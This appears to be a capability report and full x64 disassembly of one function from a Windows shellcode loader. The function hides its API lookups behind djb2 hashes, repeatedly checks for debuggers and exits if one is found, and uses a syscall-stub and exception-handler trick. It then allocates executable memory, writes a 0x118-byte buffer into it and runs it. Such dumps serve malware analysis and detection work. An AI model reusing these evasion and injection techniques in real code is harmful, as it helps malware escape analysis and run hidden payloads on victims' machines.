Function at 0x1400010dc
Capabilities:
Access peb ldr_data
Check for peb beingdebugged flag
Hash data using djb2
Link many functions at runtime
Resolve function by parsing pe exports
Terminate process

Disassembly:
mov rax, rsp
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x5f]
sub rsp, 0xa0
mov rax, qword [section..data]
xor rax, rsp
mov qword [rbp + 0x2f], rax
mov rax, qword gs:[0x30]
mov r15d, 0x5c
mov qword [rbp - 0x39], rcx
mov edx, r15d
mov rbx, qword [rax + 0x60]
mov rax, qword [rbx + 0x18]
mov rsi, qword [rax + 0x20]
mov rax, qword [rsi]
mov rdi, qword [rax + 0x50]
mov rcx, rdi
call qword [sym.imp.VCRUNTIME140.dll_wcsrchr]
mov r14, qword [rbx + 0x18]
add r14, 0x20
test rax, rax
lea rcx, [rax + 2]
cmove rcx, rdi
movzx edx, word [rcx]
mov r8, rcx
mov eax, 0x1505
test edx, edx
je 0x140001179
imul eax, eax, 0x21
lea r8, [r8 + 2]
add eax, edx
movzx edx, word [r8]
test edx, edx
jne 0x140001161
cmp eax, 0x22d3b5ed
je 0x1400011a1
mov rbx, qword [rsi]
cmp rbx, r14
je 0x1400011a1
mov rbx, qword [rbx + 0x50]
mov edx, r15d
mov rcx, rbx
call qword [sym.imp.VCRUNTIME140.dll_wcsrchr]
mov rsi, qword [rsi]
test rax, rax
lea rcx, [rax + 2]
cmove rcx, rbx
jmp 0x140001152
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov rcx, rax
lea rdx, str.ZwDrawText
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x140001322
mov dl, 0xc3
cmp byte [rax], dl
je 0x140001322
cmp byte [rax], 0xf
lea rcx, [rax + 1]
jne 0x140001317
cmp byte [rcx], 5
jne 0x1400011ca
cmp byte [rcx + 1], dl
jne 0x1400011ca
test rax, rax
je 0x140001322
lea rdx, [0x140001088]
mov qword [0x140006668], rax
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_AddVectoredExceptionHandler]
lea r12, str.ntdll.dll
mov r13d, 0x6e
mov qword [rbp - 0x31], rax
mov rcx, r12
mov edx, r13d
mov esi, 0x1505
imul esi, esi, 0x21
inc rcx
add esi, edx
movsx edx, byte [rcx]
test edx, edx
jne 0x14000121f
lea rax, str.NtWriteVirtualMemory
mov r15d, 0x1505
lea ecx, [rdx + 0x4e]
imul r15d, r15d, 0x21
inc rax
add r15d, ecx
movsx ecx, byte [rax]
test ecx, ecx
jne 0x14000123e
xorps xmm0, xmm0
lea ebx, [rcx + 4]
xor eax, eax
movups xmmword [rbp - 0x29], xmm0
mov qword [rbp - 9], rax
movups xmmword [rbp - 0x19], xmm0
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov rcx, rax
lea rdx, [rbp - 0x29]
call qword [sym.imp.KERNEL32.dll_HeapWalk]
test eax, eax
je 0x140001294
cmp word [rbp - 0x1b], bx
jne 0x140001263
mov ecx, dword [rbp - 0x21]
mov rax, qword [rbp - 0x29]
cmp dword [rcx + rax], 0xabababab
je 0x140001897
mov rax, qword gs:[0x30]
mov edx, 0x5c
mov rdi, qword [rax + 0x60]
mov rax, qword [rdi + 0x18]
mov r14, qword [rax + 0x20]
mov rax, qword [r14]
mov rbx, qword [rax + 0x50]
mov rcx, rbx
call qword [sym.imp.VCRUNTIME140.dll_wcsrchr]
mov rdi, qword [rdi + 0x18]
add rdi, 0x20
test rax, rax
lea rcx, [rax + 2]
mov eax, 0x1505
cmove rcx, rbx
mov r8, rcx
movzx edx, word [rcx]
test edx, edx
je 0x1400012f8
imul eax, eax, 0x21
lea r8, [r8 + 2]
add eax, edx
movzx edx, word [r8]
test edx, edx
jne 0x1400012e0
cmp eax, 0x22d3b5ed
je 0x14000132c
mov rbx, qword [r14]
cmp rbx, rdi
je 0x14000132c
mov rbx, qword [rbx + 0x50]
mov edx, 0x5c
mov rcx, rbx
call qword [sym.imp.VCRUNTIME140.dll_wcsrchr]
mov r14, qword [r14]
jmp 0x1400012c6
mov rax, rcx
cmp byte [rcx], dl
jne 0x1400011ca
or ecx, 0xffffffff
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
test rax, rax
je 0x140001384
lea rdx, str.NtQueryInformationProcess
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rbx, rax
test rax, rax
je 0x140001384
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov r9d, 4
lea r8, [rbp - 1]
mov rcx, rax
lea rax, [rbp + 0x17]
mov qword [rsp + 0x20], rax
lea edx, [r9 + 3]
call rbx
test eax, eax
js 0x140001384
cmp dword [rbp - 1], 0xffffffff
jne 0x140001384
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]
mov rax, qword gs:[0x30]
mov edx, 0x5c
mov rdi, qword [rax + 0x60]
mov rax, qword [rdi + 0x18]
mov r14, qword [rax + 0x20]
mov rax, qword [r14]
mov rbx, qword [rax + 0x50]
mov rcx, rbx
call qword [sym.imp.VCRUNTIME140.dll_wcsrchr]
mov rdi, qword [rdi + 0x18]
add rdi, 0x20
test rax, rax
lea rcx, [rax + 2]
mov eax, 0x1505
cmove rcx, rbx
mov r8, rcx
movzx edx, word [rcx]
jmp 0x1400013db
imul eax, eax, 0x21
lea r8, [r8 + 2]
add eax, edx
movzx edx, word [r8]
test edx, edx
jne 0x1400013ce
cmp eax, esi
je 0x140001402
mov rbx, qword [r14]
cmp rbx, rdi
je 0x140001402
mov rbx, qword [rbx + 0x50]
mov edx, 0x5c
mov rcx, rbx
call qword [sym.imp.VCRUNTIME140.dll_wcsrchr]
mov r14, qword [r14]
jmp 0x1400013b6
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
xor r10d, r10d
mov r8, rax
movsxd rcx, dword [rax + 0x3c]
lea esi, [r10 + 4]
mov edx, dword [rcx + rax + 0x88]
add rdx, rax
mov r11d, dword [rdx + 0x1c]
mov r9d, dword [rdx + 0x20]
add r11, rax
mov ebx, dword [rdx + 0x24]
add r9, rax
mov edi, dword [rdx + 0x14]
add rbx, rax
test edi, edi
je 0x14000146b
mov eax, dword [r9]
mov ecx, 0x1505
add rax, r8
jmp 0x140001450
imul ecx, ecx, 0x21
inc rax
add ecx, edx
movsx edx, byte [rax]
test edx, edx
jne 0x140001448
cmp ecx, r15d
je 0x140001557
inc r10d
add r9, rsi
cmp r10d, edi
jb 0x14000143b
xor ecx, ecx
call section..text
mov r15d, eax
mov rcx, r12
mov edx, r13d
mov r14d, 0x1505
imul r14d, r14d, 0x21
inc rcx
add r14d, edx
movsx edx, byte [rcx]
test edx, edx
jne 0x140001481
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp - 0x29], xmm0
mov qword [rbp - 9], rax
movups xmmword [rbp - 0x19], xmm0
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov rcx, rax
lea rdx, [rbp - 0x29]
call qword [sym.imp.KERNEL32.dll_HeapWalk]
test eax, eax
je 0x1400014d4
cmp word [rbp - 0x1b], si
jne 0x1400014a3
mov ecx, dword [rbp - 0x21]
mov rax, qword [rbp - 0x29]
cmp dword [rcx + rax], 0xabababab
je 0x140001897
mov rax, qword gs:[0x30]
mov edx, 0x5c
mov rdi, qword [rax + 0x60]
mov rax, qword [rdi + 0x18]
mov rsi, qword [rax + 0x20]
mov rax, qword [rsi]
mov rbx, qword [rax + 0x50]
mov rcx, rbx
call qword [sym.imp.VCRUNTIME140.dll_wcsrchr]
mov rdi, qword [rdi + 0x18]
add rdi, 0x20
test rax, rax
lea rcx, [rax + 2]
mov eax, 0x1505
cmove rcx, rbx
mov r8, rcx
movzx edx, word [rcx]
test edx, edx
je 0x140001538
imul eax, eax, 0x21
lea r8, [r8 + 2]
add eax, edx
movzx edx, word [r8]
test edx, edx
jne 0x140001520
cmp eax, 0x22d3b5ed
je 0x140001568
mov rbx, qword [rsi]
cmp rbx, rdi
je 0x140001568
mov rbx, qword [rbx + 0x50]
mov edx, 0x5c
mov rcx, rbx
call qword [sym.imp.VCRUNTIME140.dll_wcsrchr]
mov rsi, qword [rsi]
jmp 0x140001506
movzx ecx, word [rbx + r10*2]
mov ecx, dword [r11 + rcx*4]
add rcx, r8
jmp 0x14000146d
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
test rax, rax
je 0x1400015c0
lea rdx, str.NtQueryInformationProcess
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rbx, rax
test rax, rax
je 0x1400015c0
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov r9d, 4
lea r8, [rbp + 3]
mov rcx, rax
lea rax, [rbp + 0xf]
mov qword [rsp + 0x20], rax
lea edx, [r9 + 3]
call rbx
test eax, eax
js 0x1400015c0
cmp dword [rbp + 3], 0xffffffff
jne 0x1400015c0
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]
mov rax, qword gs:[0x30]
mov edx, 0x5c
mov rdi, qword [rax + 0x60]
mov rax, qword [rdi + 0x18]
mov rsi, qword [rax + 0x20]
mov rax, qword [rsi]
mov rbx, qword [rax + 0x50]
mov rcx, rbx
call qword [sym.imp.VCRUNTIME140.dll_wcsrchr]
mov rdi, qword [rdi + 0x18]
add rdi, 0x20
test rax, rax
lea rcx, [rax + 2]
mov eax, 0x1505
cmove rcx, rbx
mov r8, rcx
movzx edx, word [rcx]
jmp 0x140001617
imul eax, eax, 0x21
lea r8, [r8 + 2]
add eax, edx
movzx edx, word [r8]
test edx, edx
jne 0x14000160a
cmp eax, r14d
je 0x14000163f
mov rbx, qword [rsi]
cmp rbx, rdi
je 0x14000163f
mov rbx, qword [rbx + 0x50]
mov edx, 0x5c
mov rcx, rbx
call qword [sym.imp.VCRUNTIME140.dll_wcsrchr]
mov rsi, qword [rsi]
jmp 0x1400015f2
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov qword [rbp + 0xf], r15
call fcn.140001af8
add rax, 0x12
mov r14d, 0x1505
mov qword [0x140006668], rax
imul r14d, r14d, 0x21
inc r12
add r14d, r13d
movsx r13d, byte [r12]
test r13d, r13d
jne 0x14000165f
xor eax, eax
xorps xmm0, xmm0
movups xmmword [rbp - 0x29], xmm0
mov qword [rbp - 9], rax
movups xmmword [rbp - 0x19], xmm0
lea r13d, [rax + 4]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov rcx, rax
lea rdx, [rbp - 0x29]
call qword [sym.imp.KERNEL32.dll_HeapWalk]
test eax, eax
je 0x1400016ba
cmp word [rbp - 0x1b], r13w
jne 0x140001688
mov ecx, dword [rbp - 0x21]
mov rax, qword [rbp - 0x29]
cmp dword [rcx + rax], 0xabababab
je 0x140001897
mov rax, qword gs:[0x30]
mov r15d, 0x5c
mov edx, r15d
mov rdi, qword [rax + 0x60]
mov rax, qword [rdi + 0x18]
mov rsi, qword [rax + 0x20]
mov rax, qword [rsi]
mov rbx, qword [rax + 0x50]
mov rcx, rbx
call qword [sym.imp.VCRUNTIME140.dll_wcsrchr]
mov rdi, qword [rdi + 0x18]
mov r12d, 0x1505
add rdi, 0x20
test rax, rax
lea rcx, [rax + 2]
mov eax, r12d
cmove rcx, rbx
mov r8, rcx
movzx edx, word [rcx]
test edx, edx
je 0x140001726
imul eax, eax, 0x21
lea r8, [r8 + 2]
add eax, edx
movzx edx, word [r8]
test edx, edx
jne 0x14000170e
cmp eax, 0x22d3b5ed
je 0x140001743
mov rbx, qword [rsi]
cmp rbx, rdi
je 0x140001743
mov rbx, qword [rbx + 0x50]
mov edx, r15d
mov rcx, rbx
call qword [sym.imp.VCRUNTIME140.dll_wcsrchr]
mov rsi, qword [rsi]
jmp 0x1400016f6
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
test rax, rax
je 0x140001799
lea rdx, str.NtQueryInformationProcess
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rbx, rax
test rax, rax
je 0x140001799
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov r9d, r13d
lea r8, [rbp + 7]
mov rcx, rax
mov edx, 7
lea rax, [rbp + 0x1f]
mov qword [rsp + 0x20], rax
call rbx
test eax, eax
js 0x140001799
cmp dword [rbp + 7], 0xffffffff
jne 0x140001799
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]
mov rax, qword gs:[0x30]
mov edx, r15d
mov rdi, qword [rax + 0x60]
mov rax, qword [rdi + 0x18]
mov rsi, qword [rax + 0x20]
mov rax, qword [rsi]
mov rbx, qword [rax + 0x50]
mov rcx, rbx
call qword [sym.imp.VCRUNTIME140.dll_wcsrchr]
mov rdi, qword [rdi + 0x18]
add rdi, 0x20
test rax, rax
lea rcx, [rax + 2]
mov eax, r12d
cmove rcx, rbx
mov r8, rcx
movzx edx, word [rcx]
jmp 0x1400017ec
imul eax, eax, 0x21
lea r8, [r8 + 2]
add eax, edx
movzx edx, word [r8]
test edx, edx
jne 0x1400017df
cmp eax, r14d
je 0x140001812
mov rbx, qword [rsi]
cmp rbx, rdi
je 0x140001812
mov rbx, qword [rbx + 0x50]
mov edx, r15d
mov rcx, rbx
call qword [sym.imp.VCRUNTIME140.dll_wcsrchr]
mov rsi, qword [rsi]
jmp 0x1400017c9
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
lea rax, str.KERNEL32.DLL
mov ecx, 0x4b
mov r14d, r12d
imul r14d, r14d, 0x21
inc rax
add r14d, ecx
movsx ecx, byte [rax]
test ecx, ecx
jne 0x140001827
lea rax, str.VirtualAllocEx
mov r15d, r12d
mov ecx, 0x56
imul r15d, r15d, 0x21
inc rax
add r15d, ecx
movsx ecx, byte [rax]
test ecx, ecx
jne 0x140001847
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp - 0x29], xmm0
mov qword [rbp - 9], rax
movups xmmword [rbp - 0x19], xmm0
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov rcx, rax
lea rdx, [rbp - 0x29]
call qword [sym.imp.KERNEL32.dll_HeapWalk]
test eax, eax
je 0x1400018a0
cmp word [rbp - 0x1b], r13w
jne 0x140001869
mov ecx, dword [rbp - 0x21]
mov rax, qword [rbp - 0x29]
cmp dword [rcx + rax], 0xabababab
jne 0x1400018a0
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
mov rax, qword gs:[0x30]
mov edx, 0x5c
mov rdi, qword [rax + 0x60]
mov rax, qword [rdi + 0x18]
mov rsi, qword [rax + 0x20]
mov rax, qword [rsi]
mov rbx, qword [rax + 0x50]
mov rcx, rbx
call qword [sym.imp.VCRUNTIME140.dll_wcsrchr]
mov rdi, qword [rdi + 0x18]
add rdi, 0x20
test rax, rax
lea rcx, [rax + 2]
mov eax, r12d
cmove rcx, rbx
mov r8, rcx
movzx edx, word [rcx]
test edx, edx
je 0x140001902
imul eax, eax, 0x21
lea r8, [r8 + 2]
add eax, edx
movzx edx, word [r8]
test edx, edx
jne 0x1400018ea
cmp eax, 0x22d3b5ed
je 0x140001921
mov rbx, qword [rsi]
cmp rbx, rdi
je 0x140001921
mov rbx, qword [rbx + 0x50]
mov edx, 0x5c
mov rcx, rbx
call qword [sym.imp.VCRUNTIME140.dll_wcsrchr]
mov rsi, qword [rsi]
jmp 0x1400018d2
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
test rax, rax
je 0x140001977
lea rdx, str.NtQueryInformationProcess
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rbx, rax
test rax, rax
je 0x140001977
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov r9d, r13d
lea r8, [rbp + 0xb]
mov rcx, rax
mov edx, 7
lea rax, [rbp + 0x27]
mov qword [rsp + 0x20], rax
call rbx
test eax, eax
js 0x140001977
cmp dword [rbp + 0xb], 0xffffffff
jne 0x140001977
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]
mov rax, qword gs:[0x30]
mov edx, 0x5c
mov rdi, qword [rax + 0x60]
mov rax, qword [rdi + 0x18]
mov rsi, qword [rax + 0x20]
mov rax, qword [rsi]
mov rbx, qword [rax + 0x50]
mov rcx, rbx
call qword [sym.imp.VCRUNTIME140.dll_wcsrchr]
mov rdi, qword [rdi + 0x18]
add rdi, 0x20
test rax, rax
lea rcx, [rax + 2]
mov eax, r12d
cmove rcx, rbx
mov r8, rcx
movzx edx, word [rcx]
jmp 0x1400019cc
imul eax, eax, 0x21
lea r8, [r8 + 2]
add eax, edx
movzx edx, word [r8]
test edx, edx
jne 0x1400019bf
cmp eax, r14d
je 0x1400019f4
mov rbx, qword [rsi]
cmp rbx, rdi
je 0x1400019f4
mov rbx, qword [rbx + 0x50]
mov edx, 0x5c
mov rcx, rbx
call qword [sym.imp.VCRUNTIME140.dll_wcsrchr]
mov rsi, qword [rsi]
jmp 0x1400019a9
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
xor r10d, r10d
mov r8, rax
movsxd rcx, dword [rax + 0x3c]
mov edx, dword [rcx + rax + 0x88]
add rdx, rax
mov r11d, dword [rdx + 0x1c]
mov r9d, dword [rdx + 0x20]
add r11, rax
mov ebx, dword [rdx + 0x24]
add r9, rax
mov edi, dword [rdx + 0x14]
add rbx, rax
test edi, edi
je 0x140001a57
mov eax, dword [r9]
mov ecx, r12d
add rax, r8
jmp 0x140001a3c
imul ecx, ecx, 0x21
inc rax
add ecx, edx
movsx edx, byte [rax]
test edx, edx
jne 0x140001a34
cmp ecx, r15d
je 0x140001ae6
inc r10d
add r9, r13
cmp r10d, edi
jb 0x140001a29
xor ebx, ebx
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
xor edx, edx
mov dword [rsp + 0x20], 0x40
mov rcx, rax
mov r9d, 0x1000
mov r8d, 0x1b2
call rbx
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov r8, qword [rbp - 0x39]
mov r9d, 0x118
and qword [rsp + 0x20], 0
mov rcx, rax
mov rdx, rbx
call qword [rbp + 0xf]
call rbx
mov rbx, qword [rbp - 0x31]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_RemoveVectoredExceptionHandler]
test rbx, rbx
je 0x140001ab9
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_RemoveVectoredExceptionHandler]
mov rcx, qword [rbp + 0x2f]
xor rcx, rsp
call fcn.140002b50
lea r11, [rsp + 0xa0]
mov rbx, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rdi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
movzx ecx, word [rbx + r10*2]
mov ebx, dword [r11 + rcx*4]
add rbx, r8
jmp 0x140001a59